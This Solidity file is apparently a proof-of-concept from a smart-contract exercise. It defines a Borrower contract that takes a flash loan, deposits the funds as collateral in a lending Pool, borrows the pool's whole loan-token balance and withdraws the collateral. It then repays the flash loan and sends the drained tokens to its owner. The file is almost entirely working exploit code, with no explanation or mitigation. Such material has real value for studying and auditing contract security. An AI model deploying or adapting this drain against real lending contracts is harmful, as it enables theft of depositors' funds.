```\n// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\nimport { FlashBorrower, Flashloan, IERC20Token } from "./FlashLoan.sol";\nimport { Pool } from "./../../src/Pool.sol";\n\ncontract Borrower is FlashBorrower {\n    address public immutable owner;\n    Flashloan public immutable flashLoan;\n    Pool public immutable pool;\n    IERC20Token public loanToken;\n\n    constructor(Flashloan _flashLoan, Pool _pool) {\n        owner = msg.sender;\n        flashLoan = _flashLoan;\n        pool = _pool;\n        loanToken = IERC20Token(address(_pool.LOAN_TOKEN()));\n    }\n\n    function borrowAll() public returns (bool) {\n        // Get current values from pool\n        pool.withdraw(0);\n        uint loanTokenBalance = loanToken.balanceOf(address(pool));\n        loanToken.approve(address(pool), loanTokenBalance);\n\n        // Execute flash loan\n        flashLoan.execute(FlashBorrower(address(this)), loanToken, loanTokenBalance, abi.encode(loanTokenBalance));\n    }\n\n    function onFlashLoan(IERC20Token token, uint amount, bytes calldata data) public override {\n        // Decode data\n        (uint loanTokenBalance) = abi.decode(data, (uint));\n\n        // Deposit tokens borrowed from flash loan, borrow all other LOAN tokens from pool and\n        // withdraw the deposited tokens\n        pool.deposit(amount);\n        pool.borrow(loanTokenBalance);\n        pool.withdraw(amount);\n\n        // Repay the loan\n        token.transfer(address(flashLoan), amount);\n\n        // Send loan tokens to owner\n        loanToken.transfer(owner, loanTokenBalance);\n    }\n}\n```\n